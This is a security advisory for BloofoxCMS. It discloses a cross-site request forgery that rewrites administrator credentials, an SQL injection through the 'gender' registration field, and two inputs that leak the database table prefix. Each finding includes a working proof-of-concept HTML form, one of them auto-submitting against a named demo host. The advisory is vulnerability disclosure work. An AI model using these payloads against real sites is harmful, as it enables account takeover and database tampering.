Multiple Vulnerabilities in BloofoxCMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BloofoxCMS which could be exploited to perform cross-site request forgery and SQL injection attacks.

1) Cross-site request forgery (CSRF) in BloofoxCMS
The vulnerability exists due to insufficient validation of the request origin in admin/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://demo.bloofox.com/admin/index.php?mode=user&action=edit" method="post" name="main" >
<input type="hidden" name="username" value="test" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="pwdconfirm" value="" />
<input type="hidden" name="1" value="User" />
<input type="hidden" name="2" value="Editor" />
<input type="hidden" name="3" value="Admin" />
<input type="hidden" name="blocked" value="0" />
<input type="hidden" name="deleted" value="0" />
<input type="hidden" name="status" value="0" />
<input type="hidden" name="login_page" value="0" />
<input type="hidden" name="userid" value="3" />
<input type="hidden" name="send" value="Save Changes" />
</form>
<script>
document.main.submit();
</script>

2) SQL injection vulnerability in BloofoxCMS
The vulnerability exists due to input sanitation errors in the "gender" parameter in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://host/index.php?page=8" method="post">
<input type="hidden" name="un" value="testuser">
<input type="hidden" name="pwd" value="123456">
<input type="hidden" name="pwd2" value="123456">
<input type="hidden" name="em" value="email@email.com">
<input type="hidden" name="gender" value="'SQL_CODE_HERE">
<input name="send" value="Register &amp; Create Account" type="submit">
</form>

Two other weaknesses have been discovered in BloofoxCMS which could allow a remote attacker to reveal the database tables prefix and simplify exploitation of this vulnerability. Examples:
1. Weakness in the "key" parameter in index.php
http://[host]/index.php?key=\\
2. Weakness in the "username" HTTP POST parameter in index.php
<form action="http://[host]/index.php?login=true" method="post">
<input name="username" type="hidden" value="\\">
<input name="password" type="hidden" value="password">
<input value="Login" name="login" type="submit">
</form>